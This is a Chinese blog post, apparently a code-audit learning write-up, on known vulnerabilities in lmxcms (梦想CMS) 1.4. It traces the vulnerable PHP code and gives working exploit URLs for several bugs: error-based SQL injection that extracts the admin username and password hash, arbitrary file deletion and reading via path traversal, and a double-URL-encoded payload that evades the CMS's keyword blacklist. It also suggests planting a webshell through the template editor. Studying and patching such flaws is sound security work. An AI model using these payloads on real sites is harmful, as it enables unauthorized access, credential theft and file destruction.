【CNVD-1day代码审计】 梦想CMS1.4代码审计学习

前言

每天学习一天,走大佬走过的路线,向大佬逐步靠近,虽然这个路程很难,同时有一大堆的问题让人劝退,坚持一点是一点吧。

介绍

梦想CMS简称“lmxcms”是一套开源的网站管理系统(cms),无授权限制。采用php+mysql,使用mvc架构

经典MVC模式中,M是指模型,V是视图,C则是控制器,使用MVC的目的是将M和V的实现代码分离,从而使同一个程序可以使用不同的表现形式。其中,View的定义比较清晰,就是用户界面

图片[1]-【CNVD-1day代码审计】 梦想CMS1.4代码审计学习-渗透云记 - 专注于网络安全与技术分享

安装

和大多数网站搭建流程相同,我们去官网下载源码,然后配置好数据库等,点击搭建即可,这里就不多加赘述了

图片[2]-【CNVD-1day代码审计】 梦想CMS1.4代码审计学习-渗透云记 - 专注于网络安全与技术分享

梦想CMS后台

Ta***.cl***.php文件存在SQL注入漏洞

通过描述,这个是一个后台sql注入漏洞,通过查看后台文件,可以确定存在漏洞的文件是:BookAction.class.php

通过查看源代码,可以发现这里可以自定义传参$id

//回复留言
    public function reply(){
        $id = $_GET['id'] ? $_GET['id'] : $_POST['id'];
        //获取回复数据
        $reply = $this->bookModel->getReply(array($id));
        if($reply){
            $reply = string::html_char($reply[0]['content']);
            $this->smarty->assign('content',$reply);
            $this->smarty->assign('type','update');
        }else{
            $this->smarty->assign('type','add');
        }

继续跟踪getReply函数

 //根据留言id获取全部回复
    public function getReply(array $id){
        $id = implode(',',$id);
        $param['where'] = 'uid in('.$id.')';
        return parent::selectModel($param);
    }

通过调用函数selectModel得到数据,继续跟踪

//获取数据
    protected function selectModel($param=array()){
       if($param['field']){
           $this->field=$param['field'];
       }
       return parent::selectDB($this->tab['0'],$this->field,$param);
    }

接着调用selectDB函数,继续跟踪

//查询
    protected function selectDB($tab,Array $field,$param=array()){
        $arr = array();
        $field = implode(',',$field);
        $force = '';
        //强制进入某个索引
        if($param['force']) $force = ' force index('.$param['force'].')';
        if($param['ignore']) $force = ' ignore index('.$param['ignore'].')';
        $sqlStr = $this->where($param);
        $sql="SELECT $field FROM ".DB_PRE."$tab$force $sqlStr";
        $result=$this->query($sql);
        while(!!$a=mysql_fetch_assoc($result)){
            $arr[]=$a;
        }
        $this->result($result);
        return $arr;
    }

在这里可以看见运行的sql语句,在这个过程中并没有发现什么过滤,我们访问试试

http://127.0.0.1/lmxcms1.4/admin.php?m=Book&a=reply&id=1%27
图片[3]-【CNVD-1day代码审计】 梦想CMS1.4代码审计学习-渗透云记 - 专注于网络安全与技术分享

存在保存,但是通过刚刚查看并没有什么数据回显,只能尝试报错注入等

http://127.0.0.1/lmxcms1.4/admin.php?m=Book&a=reply&id=1%20or%20updatexml(1,concat(0x7e,database(),0x7e),1)#
图片[4]-【CNVD-1day代码审计】 梦想CMS1.4代码审计学习-渗透云记 - 专注于网络安全与技术分享

接下来就是唱过updatexml报错注入,这儿就直接列出语句,就不每个都截屏啦

获取数据表,因为输出限制1行,这儿遍历limit 0,1 即可,lmx_user 为第25个
http://127.0.0.1/lmxcms1.4/admin.php?m=Book&a=reply&id=1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='lmxcms1.4' limit 0,1),0x7e),0)#
获取字段  name 1 pwd 2
http://127.0.0.1/lmxcms1.4/admin.php?m=Book&a=reply&id=1 and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='lmx_user' limit 0,1),0x7e),0)#
获取name pwd字段
http://127.0.0.1/lmxcms1.4/admin.php?m=Book&a=reply&id=1 and updatexml(1,concat(0x7e,(select name from lmx_user),0x7e),0)#
http://127.0.0.1/lmxcms1.4/admin.php?m=Book&a=reply&id=1 and updatexml(1,concat(0x7e,(select pwd from lmx_user),0x7e),0)#
因为最多只显示32为,但~已经占用了一位,故这儿需要使用substring函数获取最后一位pwd
http://127.0.0.1/lmxcms1.4/admin.php?m=Book&a=reply&id=1 and updatexml(1,concat(0x7e,substring((select pwd from lmx_user),32),0x7e),0)#

这样就可以获取到name=admin,pwd=580fe7ddb3408ad47d0ac8e851b3471c

梦想CMS后台Ba***.cl***.php文件存在任意文件删除漏洞

通过描述,这个是一个后台任意文件删除漏洞,通过查看后台文件,可以确定存在漏洞的文件是:BackdbAction.class.php

通过搜索unlink函数,可以确定该漏洞存在的地方在:

//删除备份文件
    public function delbackdb(){
        $filename = trim($_GET['filename']);
        if(!$filename){
            rewrite::js_back('备份文件不存在');
        }
        $this->delOne($filename);
        addlog('删除数据库备份文件');
        rewrite::succ('删除成功');
    }

通过查看可以发现,他获取filename参数之后,直接调用delOne函数,进一步查看delOne函数

//根据文件名删除一条备份文件
    private function delOne($filename){
        $dir = ROOT_PATH.'file/back/'.$filename;
        file::unLink($dir);
    }

在这个函数里面并没有什么过滤,直接就进行删除了,当然也可以跨目录进行删除

http://127.0.0.1/lmxcms1.4/admin.php?m=backdb&a=delbackdb&filename=1.txt
图片[5]-【CNVD-1day代码审计】 梦想CMS1.4代码审计学习-渗透云记 - 专注于网络安全与技术分享

也可以进行穿越目录,也就是进行任意文件删除啦

当然下面的delmorebackdb函数也可以进行删除,只不过是用post传参

//批量删除备份文件
    public function delmorebackdb(){
        $filename = $_POST['filename'];
        if($filename){
            foreach($filename as $v){
                $this->delOne($v);
            }
            addlog('批量删除数据库备份文件');
            rewrite::succ('删除成功');
        }else{
            rewrite::js_back('请选择要删除的备份文件');
        }
    }

梦想CMS存在任意文件读取漏洞

通过全局搜索PHP读取文件函数名,fopen、file_get_contents这些函数,可以定位到文件:file.class.php

//获取文件内容
    public static function getcon($path){
        if(is_file($path)){
            if(!$content = file_get_contents($path)){
                rewrite::js_back('请检查【'.$path.'】是否有读取权限');
            }else{
                return $content;
            }
        }else{
            rewrite::js_back('请检查【'.$path.'】文件是否存在');
        }
    }

并没有什么过滤,接着就是查看一下什么地方有使用这个函数,然后调用就可以了

定位到文件TemplateAction.class.php

//编辑和查看文件与图像
    public function editfile(){
        $dir = $_GET['dir'];
        //保存修改
        if(isset($_POST['settemcontent'])){
            if($this->config['template_edit']){
                rewrite::js_back('系统设置禁止修改模板文件');
            }
            file::put($this->config['template'].$dir.'/'.$_POST['filename'],string::stripslashes($_POST['temcontent']));
            addlog('修改模板文件'.$this->config['template'].$dir);
            rewrite::succ('修改成功','?m=Template&a=opendir&dir='.$dir);
            exit();
        }
        $pathinfo = pathinfo($dir);
        //获取文件内容
        $content = string::html_char(file::getcon($this->config['template'].$dir));
        $this->smarty->assign('filename',$pathinfo['basename']);
        $this->smarty->assign('temcontent',$content);
        $this->smarty->assign('dir',dirname($_GET['dir']));
        $this->smarty->display('Template/temedit.html');
    }

构造访问:

http://127.0.0.1/lmxcms1.4/admin.php?m=template&a=editfile&dir=../index.php

成功获取到首页index.php文件内容

图片[6]-【CNVD-1day代码审计】 梦想CMS1.4代码审计学习-渗透云记 - 专注于网络安全与技术分享

同时我们这样在这里直接修改文件,通过写入webshell等可以进一步扩大战果

LmxCMS V1.4前台

Ta***.cl***.php存在SQL注入漏洞

通过描述,这个是一个前台高危sql注入漏洞,通过查看前台文件,可以确定存在漏洞的文件是:TagsAction.class.php

通过阅读源代码,可以看点两个变量:$data,$name,其中$name = string::delHtml($data['name']);

既然有所调用,就都跟踪一下:

defined('LMXCMS') or exit();
class TagsAction extends HomeAction{
    private $data;
    private $tagsModel = null;
    public function __construct() {
        parent::__construct();
        $data = p(2,1,1);
        $name = string::delHtml($data['name']);
        if(!$name) _404();
        $name = urldecode($name);
        if($this->tagsModel == null) $this->tagsModel = new TagsModel();
        $this->data = $this->tagsModel->getNameData($name);
        if(!$this->data) _404();
    }

先看看p函数

/* 验证表单数据
 * $type 1:post数据,2:get数据 否则为$type
 * $pe 是否转义
 * $sql 是否验证sql非法字符
 * $mysql 是否验证mysql保留字符
 */
function p($type=1,$pe=false,$sql=false,$mysql=false){
    if($type == 1){
        $data = $_POST;
    }else if($type == 2){
        $data = $_GET;
    }else{
        $data = $type;
    }
    if($sql) filter_sql($data);
    if($mysql) mysql_retain($data);
    foreach($data as $k => $v){
        if(is_array($v)){
            $newdata[$k] = p($v,$pe,$sql,$mysql);
        }else{
            if($pe){
                $newdata[$k] = string::addslashes($v);
            }else{
                $newdata[$k] = trim($v);
            }
        }
    }
    return $newdata;
}

配合上面的注释,可以知道这个函数就是用来转义sql语句,进行过滤验证,防止sql注入

//过滤非法提交信息,防止sql注入
function filter_sql(array $data){
    foreach($data as $v){
        if(is_array($v)){
            filter_sql($v);
        }else{
            //转换小写
            $v = strtolower($v);
            if(preg_match('/count|create|delete|select|update|use|drop|insert|info|from/',$v)){
                rewrite::js_back('【'.$v.'】数据非法');
            }
        }
    }
}

$name = string::delHtml($data['name']);这句就是删除html标签的”<>“符号

接着往下看,重点就来啦,$name = urldecode($name);进行urldecode,这就是ctf常考的双编码类型

一般情况下浏览器会自己进行一次url解码,例如:

 -> %20  空格的编码为%20
也就是我们在浏览器里面输入“ ”,或者%20,浏览器都会自动认定为空格
当我们进行二次编码时,浏览器只解码一次,例如 空格两次编码就是%25%32%30
浏览器解码只能解码成%20,不会继续解码,没办法识别为空格

但是这儿源码里面又进行了一次解码,但是在上面p函数检测的时间,检测的是双编码的语句,并没有发现违禁词,故可以绕过

http://127.0.0.1/lmxcms1.4/index.php?m=Tags&name=1%27

因为不存在回显,我们这里还是使用updatexml报错注入

直接输入报错语句,因为检测到黑名单词语,被拦截

http://127.0.0.1/lmxcms1.4/index.php?m=Tags&name=1%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)#
图片[7]-【CNVD-1day代码审计】 梦想CMS1.4代码审计学习-渗透云记 - 专注于网络安全与技术分享

接着我们对其进行二次编码

http://127.0.0.1/lmxcms1.4/index.php?m=Tags&name=%25%33%31%25%32%37%25%32%30%25%36%66%25%37%32%25%32%30%25%37%35%25%37%30%25%36%34%25%36%31%25%37%34%25%36%35%25%37%38%25%36%64%25%36%63%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%36%34%25%36%31%25%37%34%25%36%31%25%36%32%25%36%31%25%37%33%25%36%35%25%32%38%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%63%25%33%31%25%32%39%25%32%33
图片[8]-【CNVD-1day代码审计】 梦想CMS1.4代码审计学习-渗透云记 - 专注于网络安全与技术分享
图片[9]-【CNVD-1day代码审计】 梦想CMS1.4代码审计学习-渗透云记 - 专注于网络安全与技术分享

接下来语句和上面的一样,这里直接使用sqlmap梭哈也是可以的

© 版权声明
THE END
喜欢就支持一下吧
点赞11 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容